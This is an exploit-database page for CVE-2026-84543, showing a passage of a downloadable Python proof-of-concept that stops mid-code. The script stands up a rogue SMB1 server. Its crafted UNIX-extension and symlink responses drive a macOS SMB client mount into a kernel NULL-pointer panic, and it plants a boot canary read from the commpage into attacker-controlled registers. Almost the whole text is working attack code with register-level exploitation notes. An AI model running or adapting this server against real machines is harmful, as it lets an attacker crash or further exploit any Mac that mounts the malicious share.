Exploit database

GH-0cddda82170333521ace77ba2c17ab04

petermalone/cve-2026-84543

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-84543

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
petermalone/cve-2026-84543Revision 70fa9dc97646

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/smb1_unix_whoami_poc.py

Python · 65,592 bytes
#!/usr/bin/env python3
"""
smb1_unix_whoami_poc.py — evidence-capture PoC for CVE-2026-84543 and the
_smb_get_uid_gid_mode + 0x1c8 panic. It plants ASB_TARGET_KERN_VALUE into five
register positions (x8, x9, x10-low9, x11, x12-low31) at the fault snapshot
to establish wire-byte provenance.

Register-position map (verified against 26.4 disasm at 0xfffffe000b320f18):
  x8  = fap->fa_permissions       (ldr x8, [x2, #0x90])     — full 8 bytes
  x9  = smp->ntwrk_uid            (ldr x9, [x1])            — full 8 bytes
  x10 = fap->fa_permissions & 0x1ff (ands x10, x8, #0x1ff)  — low 9 bits
  x11 = fap->fa_gid               (ldr x11, [x2, #0x88])    — full 8 bytes
  x12 = smp->ntwrk_cnt_gid        (ldr w12, [x1, #0x10])    — low 31 bits
                                                              (bit 31 must
                                                              be 0 to pass
                                                              the sign-bit
                                                              gate before
                                                              the size check)
Three full 8-byte plants (x8, x9, x11) plus two partial-bit signatures
(x10, x12) all derived from the same boot-randomized 64-bit canary.

Constraints satisfied at construction time:
  - smp->ntwrk_gid != fap->fa_gid (so cmp x11, x12-init at +0x170 yields NE
    and the b.ne to the OOB-loop arm is taken). We plant ntwrk_gid = ASB ^ 1.
  - ntwrk_cnt_gid > 0 AND bit 31 == 0 AND ntwrk_cnt_gid * 8 > session_txmax.
    We plant ntwrk_cnt_gid = ASB & 0x7FFFFFFF (sign-bit clear). For any
    ASB whose low 31 bits are non-trivial, this exceeds the negotiated
    session_txmax (~16 KiB) by orders of magnitude.
  - fa_permissions can carry any 64-bit value. If (ASB & 0x1ff) != 0 the
    fall-through path is taken (existing capture's path); if (ASB & 0x1ff)
    == 0 the early b.eq is taken. Both paths reach the panic and both
    preserve x8 = ASB. The captured ASB on this boot has low 9 bits
    non-zero, so the fall-through path applies.

Bug shape (unchanged from original capture server):
  smbfs_unix_whoami() trusts SMB_QFS_POSIX_WHOAMI (info_level 0x0202) wire
  fields. When ntwrk_cnt_gid * 8 > session_txmax, the error path returns
  BEFORE ntwrk_gids is allocated, but the cleanup that resets
  ntwrk_cnt_gid is gated on `ntwrk_gids != NULL`. Result: ntwrk_cnt_gid
  retains the wire value while ntwrk_gids stays NULL. Per-getattr,
  smbfs_attr_cacheenter → smb_get_uid_gid_mode → inlined supp-GID loop:
      for (ii = 0; ii < ntwrk_cnt_gid; ii++)
          if (node_gid == smp->ntwrk_gids[ii]) ...   // ldr x12, [x13], #8
                                                      // x13 == NULL → fault

Note: the original capture server's 0x202B handler is dead code — the
kernel queries info_level 0x0202 (SMB_QFS_POSIX_WHOAMI per
netsmb/smb.h). This server plants the ASB canary into the 0x0202
handler instead, where the kernel actually parses it.

Usage (run server as root for port 445; mount from another terminal):
    sudo python3 smb1_unix_whoami_poc.py --bind 127.0.0.1 --port 445
    mount_smbfs //[email protected]/share ~/mnt/cve-2026-84543
"""

import argparse
import ctypes
import os
import platform
import socket
import struct
import sys
import threading
import time
from datetime import datetime

# ---------------------------------------------------------------------------
# Live commpage reader — ARM64 macOS only.
# Reads ASB_TARGET_KERN_VALUE from the running boot's commpage so the planted
# values always match the boot session that will be used to verify capture.
# ---------------------------------------------------------------------------
_COMM_PAGE64_BASE_ADDRESS = 0x0000000FFFFFC000
ASB_TARGET_KERN_VALUE_OFF = 0x330


def read_asb_kern_value():
    if platform.system() != 'Darwin' or platform.machine() != 'arm64':
        sys.exit('ERROR: must run on ARM64 macOS to read live commpage.')
    try:
        v = ctypes.c_uint64.from_address(
            _COMM_PAGE64_BASE_ADDRESS + ASB_TARGET_KERN_VALUE_OFF).value
    except OSError as e:
        sys.exit(f'ERROR: commpage read failed: {e}')
    if v == 0:
        sys.exit('ERROR: ASB_TARGET_KERN_VALUE read as 0 — commpage layout '
                 'may have changed in this macOS build.')
    return v


ASB_TARGET_KERN_VALUE = read_asb_kern_value()
print(f'[asb] ASB_TARGET_KERN_VALUE = 0x{ASB_TARGET_KERN_VALUE:016x}', flush=True)

# ---------------------------------------------------------------------------
# SMB1 protocol constants (from MS-CIFS / MS-SMB)
# ---------------------------------------------------------------------------
SMB1_HEADER_MAGIC = b'\xffSMB'

# Commands
SMB_COM_CLOSE                  = 0x04
SMB_COM_TREE_DISCONNECT        = 0x71
SMB_COM_NEGOTIATE              = 0x72
SMB_COM_SESSION_SETUP_ANDX     = 0x73
SMB_COM_LOGOFF_ANDX            = 0x74
SMB_COM_TREE_CONNECT_ANDX      = 0x75
SMB_COM_NT_CREATE_ANDX         = 0xA2
SMB_COM_TRANSACTION            = 0x25
SMB_COM_TRANSACTION2           = 0x32
SMB_COM_TRANSACTION2_SECONDARY = 0x33
SMB_COM_NT_TRANSACT            = 0xA0
SMB_COM_READ_ANDX              = 0x2E
SMB_COM_NO_ANDX_COMMAND        = 0xFF

# TRANS2 sub-commands
TRANS2_QUERY_PATH_INFORMATION  = 0x0005
TRANS2_QUERY_FILE_INFORMATION  = 0x0007
TRANS2_FIND_FIRST2             = 0x0001
TRANS2_FIND_NEXT2              = 0x0002

# QUERY_PATH_INFO information levels
SMB_QFILEINFO_STANDARD                  = 0x0001
SMB_QFILEINFO_BASIC_INFO                = 0x0101
SMB_QFILEINFO_STANDARD_INFO             = 0x0102
SMB_QFILEINFO_ALL_INFO                  = 0x0107
SMB_QFILEINFO_UNIX_BASIC                = 0x0200    # CIFS UNIX Extensions
SMB_QFILEINFO_UNIX_LINK                 = 0x0201    # CIFS UNIX Extensions — symlink target
SMB_QFILEINFO_POSIX_FILE_INFO           = 0x0202
SMB_QFILEINFO_UNIX_INFO2                = 0x020B    # Apple smb.h:583 — QPATH variant

# NT_CREATE response file types
SMB_FILE_TYPE_DISK              = 0x0000

# Capabilities (negotiate response)
CAP_RAW_MODE              = 0x00000001
CAP_MPX_MODE              = 0x00000002
CAP_UNICODE               = 0x00000004
CAP_LARGE_FILES           = 0x00000008
CAP_NT_SMBS               = 0x00000010
CAP_RPC_REMOTE_APIS       = 0x00000020
CAP_STATUS32              = 0x00000040
CAP_LEVEL_II_OPLOCKS      = 0x00000080
CAP_LOCK_AND_READ         = 0x00000100
CAP_NT_FIND               = 0x00000200
CAP_BULK_TRANSFER         = 0x20000000
CAP_INFOLEVEL_PASSTHRU    = 0x00002000
CAP_LARGE_READX           = 0x00004000
CAP_LARGE_WRITEX          = 0x00008000
CAP_UNIX                  = 0x00800000
CAP_EXTENDED_SECURITY     = 0x80000000

# SMB1 header flags
SMB_FLAGS_REPLY           = 0x80
SMB_FLAGS_CASE_INSENSITIVE= 0x08
SMB_FLAGS_CANONICAL_PATHS = 0x10

SMB_FLAGS2_KNOWS_LONG_NAMES   = 0x0001
SMB_FLAGS2_UNICODE            = 0x8000
SMB_FLAGS2_NT_STATUS          = 0x4000
SMB_FLAGS2_EXTENDED_SECURITY  = 0x0800

# NT_STATUS codes
STATUS_SUCCESS                 = 0x00000000
STATUS_LOGON_FAILURE           = 0xC000006D
STATUS_OBJECT_NAME_NOT_FOUND   = 0xC0000034

# UNIX file types (per CIFS UNIX Extensions Trans2 InfoLevel SMB_QFILEINFO_UNIX_BASIC)
UNIX_TYPE_FILE      = 0
UNIX_TYPE_DIR       = 1
UNIX_TYPE_SYMLINK   = 2
UNIX_TYPE_CHARDEV   = 3
UNIX_TYPE_BLKDEV    = 4
UNIX_TYPE_FIFO      = 5
UNIX_TYPE_SOCKET    = 6


# ---------------------------------------------------------------------------
# NetBIOS Session Service framing (4-byte length prefix)
# ---------------------------------------------------------------------------
def netbios_wrap(payload):
    if len(payload) > 0x1FFFF:
        raise ValueError("payload too large")
    return struct.pack('>I', len(payload)) + payload

def recv_smb_message(conn, timeout=30):
    conn.settimeout(timeout)
    try:
        hdr = b''
        while len(hdr) < 4:
            chunk = conn.recv(4 - len(hdr))
            if not chunk:
                return None
            hdr += chunk
        nbss_type = hdr[0]
        length = struct.unpack('>I', hdr)[0] & 0x1FFFF
        if length > 16 * 1024 * 1024:
            return None
        data = b''
        while len(data) < length:
            chunk = conn.recv(length - len(data))
            if not chunk:
                return None
            data += chunk
        if nbss_type == 0x81:
            # NetBIOS Session Request — answer with positive (0x82) and read another
            return ('NB_SESSION_REQUEST', data)
        return data
    except socket.timeout:
        return None


# ---------------------------------------------------------------------------
# SMB1 header builder
# ---------------------------------------------------------------------------
def smb1_header(command, status=STATUS_SUCCESS, flags=None, flags2=None,
                tid=0, pid=0xFEFF, uid=0, mid=0):
    if flags is None:
        flags = SMB_FLAGS_REPLY | SMB_FLAGS_CASE_INSENSITIVE | SMB_FLAGS_CANONICAL_PATHS
    if flags2 is None:
        flags2 = (SMB_FLAGS2_KNOWS_LONG_NAMES | SMB_FLAGS2_UNICODE |
                  SMB_FLAGS2_NT_STATUS)
    # struct: protocol(4), command(1), status(4), flags(1), flags2(2),
    #         pidhigh(2), security_features(8), reserved(2),
    #         tid(2), pidlow(2), uid(2), mid(2)
    return struct.pack('<4sBIBHH8sHHHHH',
                       SMB1_HEADER_MAGIC, command, status, flags, flags2,
                       0, b'\x00' * 8, 0, tid, pid & 0xFFFF, uid, mid)

def parse_smb1_header(payload):
    if payload[:4] != SMB1_HEADER_MAGIC:
        return None
    if len(payload) < 32:
        return None
    fields = struct.unpack_from('<4sBIBHH8sHHHHH', payload, 0)
    return {
        'magic':  fields[0],
        'command':fields[1],
        'status': fields[2],
        'flags':  fields[3],
        'flags2': fields[4],
        'pidhigh':fields[5],
        'tid':    fields[8],
        'pid':    fields[9],
        'uid':    fields[10],
        'mid':    fields[11],
        'body':   payload[32:],
    }


# ---------------------------------------------------------------------------
# Response builders for the bug-path commands
# ---------------------------------------------------------------------------
def build_spnego_negtokeninit():
    """SPNEGO NegTokenInit advertising NTLMSSP only."""
    ntlmssp_oid = bytes([0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01,
                         0x82, 0x37, 0x02, 0x02, 0x0a])
    mech_types = bytes([0x30, len(ntlmssp_oid)]) + ntlmssp_oid
    a0_mechtypes = bytes([0xa0, len(mech_types)]) + mech_types
    neg_token_init = bytes([0x30, len(a0_mechtypes)]) + a0_mechtypes
    a0_outer = bytes([0xa0, len(neg_token_init)]) + neg_token_init
    spnego_oid = bytes([0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02])
    inner = spnego_oid + a0_outer
    return bytes([0x60, len(inner)]) + inner

def build_ntlmssp_challenge(challenge8):
    """Minimal NTLMSSP CHALLENGE message (Type 2)."""
    sig = b'NTLMSSP\x00'
    msg_type = struct.pack('<I', 2)
    target_name = "WORKGROUP".encode('utf-16-le')
    target_name_fields = struct.pack('<HHI', len(target_name), len(target_name), 56)
    flags = (0x00000001 | 0x00000002 | 0x00000004 | 0x00000010 | 0x00000040 |
             0x00000200 | 0x00010000 | 0x00080000 | 0x20000000 | 0x80000000)
    flags_field = struct.pack('<I', flags)
    challenge_field = challenge8
    reserved = b'\x00' * 8
    target_info = b''
    target_info_fields = struct.pack('<HHI', len(target_info), len(target_info),
                                     56 + len(target_name))
    version = b'\x06\x01\xb1\x1d\x00\x00\x00\x0f'  # Windows version placeholder
    msg = (sig + msg_type + target_name_fields + flags_field + challenge_field +
           reserved + target_info_fields + version + target_name + target_info)
    return msg

def build_spnego_challenge_wrapped(ntlmssp_challenge):
    """Wrap NTLMSSP CHALLENGE in SPNEGO NegTokenResp."""
    octet_string = (bytes([0x04, 0x82]) +
                    struct.pack('>H', len(ntlmssp_challenge)) +
                    ntlmssp_challenge)
    a2 = bytes([0xa2, 0x82]) + struct.pack('>H', len(octet_string)) + octet_string
    ntlmssp_oid = bytes([0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01,
                         0x82, 0x37, 0x02, 0x02, 0x0a])
    a1 = bytes([0xa1, len(ntlmssp_oid)]) + ntlmssp_oid
    a0 = bytes([0xa0, 0x03, 0x0a, 0x01, 0x01])
    seq_content = a0 + a1 + a2
    seq = bytes([0x30, 0x82]) + struct.pack('>H', len(seq_content)) + seq_content
    return bytes([0xa1, 0x82]) + struct.pack('>H', len(seq)) + seq

def build_spnego_accept():
    """SPNEGO NegTokenResp accepting completion."""
    a0 = bytes([0xa0, 0x03, 0x0a, 0x01, 0x00])
    seq = bytes([0x30, len(a0)]) + a0
    return bytes([0xa1, len(seq)]) + seq

def build_negotiate_response(req_hdr, dialect_index, use_extended_security=True):
    """SMB_COM_NEGOTIATE response selecting NT LM 0.12 with CAP_UNIX.

    If use_extended_security: SPNEGO/NTLMSSP path (modern macOS).
    Else: legacy LM/NTLM challenge-response."""
    capabilities = (CAP_UNICODE | CAP_LARGE_FILES | CAP_NT_SMBS |
                    CAP_RPC_REMOTE_APIS | CAP_STATUS32 |
                    CAP_LEVEL_II_OPLOCKS | CAP_LOCK_AND_READ |
                    CAP_NT_FIND | CAP_INFOLEVEL_PASSTHRU |
                    CAP_LARGE_READX | CAP_LARGE_WRITEX |
                    CAP_UNIX)
    if use_extended_security:
        capabilities |= CAP_EXTENDED_SECURITY
        security_mode = 0x03      # user-level + challenge required
        challenge_len = 0
        server_guid = os.urandom(16)
        spnego_blob = build_spnego_negtokeninit()
        data = server_guid + spnego_blob
        flags2_extra = SMB_FLAGS2_EXTENDED_SECURITY
    else:
        security_mode = 0x03      # user-level + challenge required
        challenge_len = 8
        challenge = b'\x12\x34\x56\x78\x9a\xbc\xde\xf0'
        domain = "WORKGROUP".encode('utf-16-le') + b'\x00\x00'
        server = "ROGUE".encode('utf-16-le') + b'\x00\x00'
        data = challenge + domain + server
        flags2_extra = 0
    word_count = 17
    epoch_offset = 11644473600
    now = int((time.time() + epoch_offset) * 10_000_000)
    params = struct.pack('<HBHHIIIIQHB',
                         dialect_index, security_mode,
                         50, 1, 16644, 65536, 0,
                         capabilities, now, 0, challenge_len)
    body = struct.pack('<B', word_count) + params + struct.pack('<H', len(data)) + data
    hdr = smb1_header(SMB_COM_NEGOTIATE, mid=req_hdr['mid'], pid=req_hdr['pid'],
                      flags2=(SMB_FLAGS2_KNOWS_LONG_NAMES | SMB_FLAGS2_UNICODE |
                              SMB_FLAGS2_NT_STATUS | flags2_extra))
    return netbios_wrap(hdr + body)

def build_session_setup_response_extended(req_hdr, security_blob, status,
                                           uid, action=0):
    """SMB_COM_SESSION_SETUP_ANDX response (extended security format).

    Parameters: WordCount=4
      AndXCommand(1), Reserved(1), AndXOffset(2), Action(2), SecurityBlobLength(2)
    Data: SecurityBlob, [pad], NativeOS, NativeLanMan
    """
    word_count = 4
    params = struct.pack('<BBHHH', SMB_COM_NO_ANDX_COMMAND, 0, 0, action,
                         len(security_blob))
    native_os = "Rogue SMB1 Server".encode('utf-16-le') + b'\x00\x00'
    native_lm = "ROGUE 1.0".encode('utf-16-le') + b'\x00\x00'
    # Pad after security blob to align native_os to even offset (Unicode requires alignment)
    pre_blob_offset = 32 + 1 + word_count * 2 + 2
    after_blob_offset = pre_blob_offset + len(security_blob)
    pad = b'\x00' if after_blob_offset % 2 else b''
    data = security_blob + pad + native_os + native_lm
    body = struct.pack('<B', word_count) + params + struct.pack('<H', len(data)) + data
    flags2 = (SMB_FLAGS2_KNOWS_LONG_NAMES | SMB_FLAGS2_UNICODE |
              SMB_FLAGS2_NT_STATUS | SMB_FLAGS2_EXTENDED_SECURITY)
    hdr = smb1_header(SMB_COM_SESSION_SETUP_ANDX, status=status,
                      flags2=flags2,
                      mid=req_hdr['mid'], pid=req_hdr['pid'], uid=uid)
    return netbios_wrap(hdr + body)

def build_tree_connect_response(req_hdr, tid):
    """SMB_COM_TREE_CONNECT_ANDX response — accept share connect, advertise UNIX FS."""
    word_count = 7
    # AndXCommand(1), Reserved(1), AndXOffset(2),
    # OptionalSupport(2), MaxAccessRights(4), GuestAccessRights(4)
    params = struct.pack('<BBHHII',
                         SMB_COM_NO_ANDX_COMMAND, 0, 0,
                         0,                      # OptionalSupport
                         0x001F01FF,             # MaxAccessRights (full)
                         0x001F01FF)             # GuestAccessRights
    # data: Service (ASCII null-term), NativeFileSystem (Unicode null-term)
    service = b'A:\x00'                          # disk share
    native_fs = "UNIX".encode('utf-16-le') + b'\x00\x00'
    pad = b'\x00' if (32 + 1 + len(params) + 2 + len(service)) % 2 else b''
    data = service + pad + native_fs
    body = struct.pack('<B', word_count) + params + struct.pack('<H', len(data)) + data
    hdr = smb1_header(SMB_COM_TREE_CONNECT_ANDX, mid=req_hdr['mid'],
                      pid=req_hdr['pid'], uid=req_hdr['uid'], tid=tid)
    return netbios_wrap(hdr + body)


# ---------------------------------------------------------------------------
# TRANS2 response builders
# ---------------------------------------------------------------------------
def build_trans2_response(req_hdr, parameters, data, setup_words=None):
    """Generic TRANS2 response builder. Pads to 4-byte alignment between segments."""
    if setup_words is None:
        setup_words = b''
    word_count = 10 + (len(setup_words) // 2)
    # Pre-buffer fixed SMB structures: header(32) + WordCount(1) + word-params(2*word_count) + ByteCount(2)
    fixed_pre_buf = 32 + 1 + word_count * 2 + 2

    # 4-byte align param_offset; if no params, set offset = 0
    if len(parameters) > 0:
        pad1_len = (4 - fixed_pre_buf % 4) % 4
        param_offset = fixed_pre_buf + pad1_len
    else:
        pad1_len = 0
        param_offset = 0

    # Position data after parameters (or after pre-buf if no params), 4-byte aligned
    after_params = fixed_pre_buf + pad1_len + len(parameters)
    if len(data) > 0:
        pad2_len = (4 - after_params % 4) % 4
        data_offset = after_params + pad2_len
    else:
        pad2_len = 0
        data_offset = 0

    params_word = struct.pack('<HHHHHHHHHBB',
                              len(parameters),       # TotalParamCount
                              len(data),             # TotalDataCount
                              0,                     # Reserved
                              len(parameters),       # ParamCount
                              param_offset,
                              0,                     # ParamDisplacement
                              len(data),             # DataCount
                              data_offset,
                              0,                     # DataDisplacement (HALFWORD)
                              0,                     # SetupCount
                              0)                     # Reserved2
    bytes_buf = (b'\x00' * pad1_len + parameters +
                 b'\x00' * pad2_len + data)
    body = (struct.pack('<B', word_count) + params_word +
            struct.pack('<H', len(bytes_buf)) + bytes_buf)
    hdr = smb1_header(SMB_COM_TRANSACTION2, mid=req_hdr['mid'],
                      pid=req_hdr['pid'], uid=req_hdr['uid'], tid=req_hdr['tid'])
    return netbios_wrap(hdr + body)

def build_transaction_response(req_hdr, parameters=b'', data=b''):
    """SMB_COM_TRANSACTION (0x25) success response.

    Trial 4 showed the kernel issues SMB_COM_TRANSACTION right after
    NT_CREATE_ANDX (almost certainly RAP \\PIPE\\srvsvc share validation).
    Returning STATUS_NOT_SUPPORTED makes the client tear down the mount.
    A minimal empty success response keeps the connection alive so userspace
    can drive readlink/ls afterwards, which is where the bug path fires.
    Same wire layout as TRANSACTION2, SetupCount=0, no sub-command word.
    """
    word_count = 10
    fixed_pre_buf = 32 + 1 + word_count * 2 + 2
    if len(parameters) > 0:
        pad1_len = (4 - fixed_pre_buf % 4) % 4
        param_offset = fixed_pre_buf + pad1_len
    else:
        pad1_len = 0
        param_offset = 0
    after_params = fixed_pre_buf + pad1_len + len(parameters)
    if len(data) > 0:
        pad2_len = (4 - after_params % 4) % 4
        data_offset = after_params + pad2_len
    else:
        pad2_len = 0
        data_offset = 0
    params_word = struct.pack('<HHHHHHHHHBB',
                              len(parameters), len(data), 0,
                              len(parameters), param_offset, 0,
                              len(data), data_offset, 0,
                              0, 0)
    bytes_buf = b'\x00' * pad1_len + parameters + b'\x00' * pad2_len + data
    body = (struct.pack('<B', word_count) + params_word +
            struct.pack('<H', len(bytes_buf)) + bytes_buf)
    hdr = smb1_header(SMB_COM_TRANSACTION, mid=req_hdr['mid'],
                      pid=req_hdr['pid'], uid=req_hdr['uid'], tid=req_hdr['tid'])
    return netbios_wrap(hdr + body)

def build_qpath_unix_basic_response(req_hdr, file_type=UNIX_TYPE_SYMLINK,
                                     file_size=128):
    """TRANS2 QUERY_PATH_INFO InfoLevel=SMB_QFILEINFO_UNIX_BASIC reply.

    Reports the queried path as a UNIX file with file_type. For our bug path,
    we want to report the symlink as VLNK (file_type=2).

    Layout per CIFS UNIX Extensions:
      EndOfFile (8 bytes, file size)
      NumBytes (8 bytes, blocks used)
      LastStatusChange (8 bytes, FILETIME)
      LastAccessTime (8)
      LastModificationTime (8)
      UID (8)
      GID (8)
      FileType (4)        <-- 2 = symlink
      DevMajor (8)
      DevMinor (8)
      UniqueID (8)
      Permissions (8)
      Nlinks (8)
    """
    # parameters: 2-byte EaErrorOffset (=0) per Trans2 QPATH_INFO response
    parameters = struct.pack('<H', 0)
    epoch_offset = 11644473600
    now = int((time.time() + epoch_offset) * 10_000_000)
    # ASB plant: UID/GID are 8-byte LE wire fields parsed into fap->fa_uid /
    # fap->fa_gid. fa_gid → x11 at fault (the cmp operand inside smb_gid_match).
    data = struct.pack('<QQQQQQQ I QQQQQ',
                       file_size,                 # EndOfFile
                       file_size,                 # NumBytes
                       now,                       # last status change
                       now,                       # last access
                       now,                       # last modification
                       ASB_TARGET_KERN_VALUE,     # UID  ← plant ASB (fa_uid)
                       ASB_TARGET_KERN_VALUE,     # GID  ← plant ASB (fa_gid → x11)
                       file_type,                 # FileType (2 = symlink)
                       0, 0,                      # DevMajor + Minor
                       0,                         # UniqueID
                       0o777,                     # Permissions (low 9 bits drive control flow)
                       1)                         # Nlinks
    return build_trans2_response(req_hdr, parameters, data)

def build_qpath_unix_link_response(req_hdr, link_target_bytes):
    """TRANS2 QUERY_PATH_INFO InfoLevel=SMB_QFILEINFO_UNIX_LINK reply.

    THIS IS THE TRIGGER. The data buffer length is what causes the underflow
    in _smbfs_smb_unix_read_symlink when it equals 1.

    Note: the macOS client computes nmlen = mbuf_get_chain_len(mdp->md_top).
    The mbuf chain length equals the data buffer length we send.

    For the BUG: pass link_target_bytes = b'A' (1 byte).
    For groom probes: pass small (≤16-byte) buffers with controlled bytes.
    """
    parameters = struct.pack('<H', 0)
    return build_trans2_response(req_hdr, parameters, link_target_bytes)

def build_qpath_basic_info_response(req_hdr):
    """SMB_QFILEINFO_BASIC_INFO (0x0101) — for non-UNIX path queries."""
    parameters = struct.pack('<H', 0)
    epoch_offset = 11644473600
    now = int((time.time() + epoch_offset) * 10_000_000)
    data = struct.pack('<QQQQII',
                       now, now, now, now,
                       0o7777,
                       0)
    return build_trans2_response(req_hdr, parameters, data)

def build_qpath_all_info_response(req_hdr, path_name=""):
    """SMB_QFILEINFO_ALL_INFO (0x0107) — generic 'directory exists' reply."""
    parameters = struct.pack('<H', 0)
    epoch_offset = 11644473600
    now = int((time.time() + epoch_offset) * 10_000_000)
    # Distinguish root (DIR) from leaf (NORMAL file). Apple QPATH_ALL_INFO
    # parser (smbfs_smb.c:smb1fs_smb_qpathinfo case ALL_INFO) sets fa_vtype
    # via fa_attr & SMB_EFA_DIRECTORY: VDIR if dir bit set, else VREG.
    # For the leaf path, we want VREG so the client follows up with
    # QPATH_INFO_UNIX_BASIC to discover symlink-ness via UNIX extensions.
    is_root = (path_name in ('', '\\', '/'))
    file_attr = 0x10 if is_root else 0x80   # DIR or NORMAL
    is_dir = 1 if is_root else 0
    # BasicInfo (40 bytes)
    basic = struct.pack('<QQQQII', now, now, now, now, file_attr, 0)
    # StandardInfo (24 bytes)
    standard = struct.pack('<QQIBBH',
                           0,             # AllocationSize
                           0,             # EndOfFile
                           1,             # NumberOfLinks
                           0,             # DeletePending
                           is_dir,        # Directory flag
                           0)             # Reserved
    # InternalInfo (8 bytes): IndexNumber
    internal = struct.pack('<Q', 0x123456)
    # EaInfo (4 bytes)
    ea = struct.pack('<I', 0)
    # AccessInfo (4)
    access = struct.pack('<I', 0x001f01ff)
    # PositionInfo (8)
    position = struct.pack('<Q', 0)
    # ModeInfo (4)
    mode = struct.pack('<I', 0)
    # AlignmentInfo (4)
    align = struct.pack('<I', 0)
    # NameInfo: FileNameLength(4) + FileName (unicode)
    name_unicode = path_name.encode('utf-16-le')
    name_info = struct.pack('<I', len(name_unicode)) + name_unicode
    data = (basic + standard + internal + ea + access + position +
            mode + align + name_info)
    return build_trans2_response(req_hdr, parameters, data)

def build_qpath_unix_basic_response_dir(req_hdr):
    """SMB_QFILEINFO_UNIX_BASIC for a directory (file_type=DIR)."""
    return build_qpath_unix_basic_response(req_hdr,
                                            file_type=UNIX_TYPE_DIR,
                                            file_size=0)

def build_qpath_unix_info2_response(req_hdr, ext_unix_type=2, file_size=128):
    """TRANS2 QUERY_PATH_INFO InfoLevel=0x020B (SMB_QFILEINFO_UNIX_INFO2) reply.

    Apple `smbfs_smb.c:478-552` parser layout (116 bytes data block):
        EndOfFile          Q
        AllocSize          Q
        ChangeTime         Q
        AccessTime         Q
        WriteTime          Q
        UID                Q
        GID                Q
        ExtUnixType        I    <-- 1=DIR, 2=SYMLINK (drives fa_vtype=VLNK)
        DevMajor           Q
        DevMinor           Q
        UniqueID           Q
        Permissions        Q
        Nlinks             Q
        CreationTime       Q
        FileFlags          I
        FileFlagsMask      I

    No NextEntryOffset/ResumeKey/NetworkNameLen — those are FIND-FIRST2-only fields.
    """
    parameters = struct.pack('<H', 0)  # EaErrorOffset
    epoch_offset = 11644473600
    now = int((time.time() + epoch_offset) * 10_000_000)
    # ASB plants for the x8/x9/x10/x11/x12 capture:
    #  - UID (offset +40)         → fap->fa_uid   (lifted into x10/x13 on the
    #                               early-arm fast path; transient on the
    #                               OOB-loop path)
    #  - GID (offset +48)         → fap->fa_gid   (loaded into x11 at +0x160,
    #                               preserved at fault)
    #  - Permissions (offset +84) → fap->fa_permissions (loaded into x8 at
    #                               +0xb8, preserved at fault; low 9 bits
    #                               also feed x10 via `ands x10, x8, #0x1ff`)
    data = struct.pack('<QQQQQQQ I QQQQQQ II',
                       file_size,                 # EndOfFile
                       file_size,                 # AllocSize
                       now,                       # ChangeTime
                       now,                       # AccessTime
                       now,                       # WriteTime
                       ASB_TARGET_KERN_VALUE,     # UID          ← plant ASB (fa_uid)
                       ASB_TARGET_KERN_VALUE,     # GID          ← plant ASB (fa_gid → x11)
                       ext_unix_type,             # ExtUnixType  (1=DIR, 2=SYMLINK)
                       0,                         # DevMajor
                       0,                         # DevMinor
                       0x42424242,                # UniqueID
                       ASB_TARGET_KERN_VALUE,     # Permissions  ← plant ASB (fa_permissions → x8;
                                                  #               low 9 bits → x10 via ANDS)
                       1,                         # Nlinks
                       now,                       # CreationTime
                       0,                         # FileFlags
                       0)                         # FileFlagsMask
    assert len(data) == 116, f"unix_info2 data = {len(data)}, expected 116"
    return build_trans2_response(req_hdr, parameters, data)

def build_nt_create_andx_response(req_hdr, fid=0x4242, is_dir=False):
    """SMB_COM_NT_CREATE_ANDX response — accept the open."""
    word_count = 34
    epoch_offset = 11644473600
    now = int((time.time() + epoch_offset) * 10_000_000)
    file_attrs = 0x10 if is_dir else 0x80   # DIR or NORMAL
    params = struct.pack('<BBHBHIQQQQIQQHHB',
                         SMB_COM_NO_ANDX_COMMAND, 0, 0,
                         0,                  # OplockLevel
                         fid,                # FID
                         1,                  # CreateDisposition action
                         now, now, now, now, # FILETIME(4)
                         file_attrs,         # ExtFileAttributes
                         0,                  # AllocationSize
                         0,                  # EndOfFile
                         SMB_FILE_TYPE_DISK, # FileType
                         0,                  # DeviceState
                         1 if is_dir else 0) # Directory
    body = struct.pack('<B', word_count) + params + struct.pack('<H', 0)
    hdr = smb1_header(SMB_COM_NT_CREATE_ANDX, mid=req_hdr['mid'],
                      pid=req_hdr['pid'], uid=req_hdr['uid'], tid=req_hdr['tid'])
    return netbios_wrap(hdr + body)

def build_close_response(req_hdr):
    """SMB_COM_CLOSE response."""
    body = struct.pack('<BH', 0, 0)
    hdr = smb1_header(SMB_COM_CLOSE, mid=req_hdr['mid'],
                      pid=req_hdr['pid'], uid=req_hdr['uid'], tid=req_hdr['tid'])
    return netbios_wrap(hdr + body)

def build_find_first2_response(req_hdr, requested_name):
    """Empty FIND_FIRST2 response (no entries)."""
    parameters = struct.pack('<HHHHH', 0x0001, 0, 1, 0, 0)
    data = b''
    return build_trans2_response(req_hdr, parameters, data)

def build_find_first2_unix_info2_response(req_hdr, leaf_name):
    """TRANS2_FIND_FIRST2 InfoLevel=0x20B (SMB_FIND_FILE_UNIX_INFO2 per Apple
    smb.h:617) reply returning ONE entry: leaf_name with EXT_UNIX_SYMLINK
    file_type.

    Per smbfs_smb.c:5718-5798 (538.100.12), entry layout is 128 bytes fixed
    + variable-length filename. Apple's parser reads:
      NextEntryOffset(4)+ResumeKey(4)+EndOfFile(8)+AllocSize(8)+ChangeTime(8)
      +AccessTime(8)+WriteTime(8)+UID(8)+GID(8)+ExtUnixType(4)+DevMajor(8)
      +DevMinor(8)+UniqueID(8)+Permissions(8)+Nlinks(8)+CreationTime(8)
      +FileFlags(4)+FileFlagsMask(4)+NetworkNameLen(4)+FileName(N)
    """
    epoch_offset = 11644473600
    now = int((time.time() + epoch_offset) * 10_000_000)
    name_unicode = leaf_name.encode('utf-16-le')
    EXT_UNIX_SYMLINK = 2
    entry_fixed = struct.pack(
        '<IIQQQQQQQ I QQQQQQ II I',
        0,                         # NextEntryOffset = 0 (single entry)
        1,                         # ResumeKey
        128,                       # EndOfFile (file size)
        128,                       # AllocSize
        now,                       # ChangeTime
        now,                       # AccessTime
        now,                       # WriteTime
        ASB_TARGET_KERN_VALUE,     # UID  ← plant ASB (fa_uid)
        ASB_TARGET_KERN_VALUE,     # GID  ← plant ASB (fa_gid → x11)
        EXT_UNIX_SYMLINK,          # ExtUnixType = 2 (symlink) — drives fa_vtype = VLNK
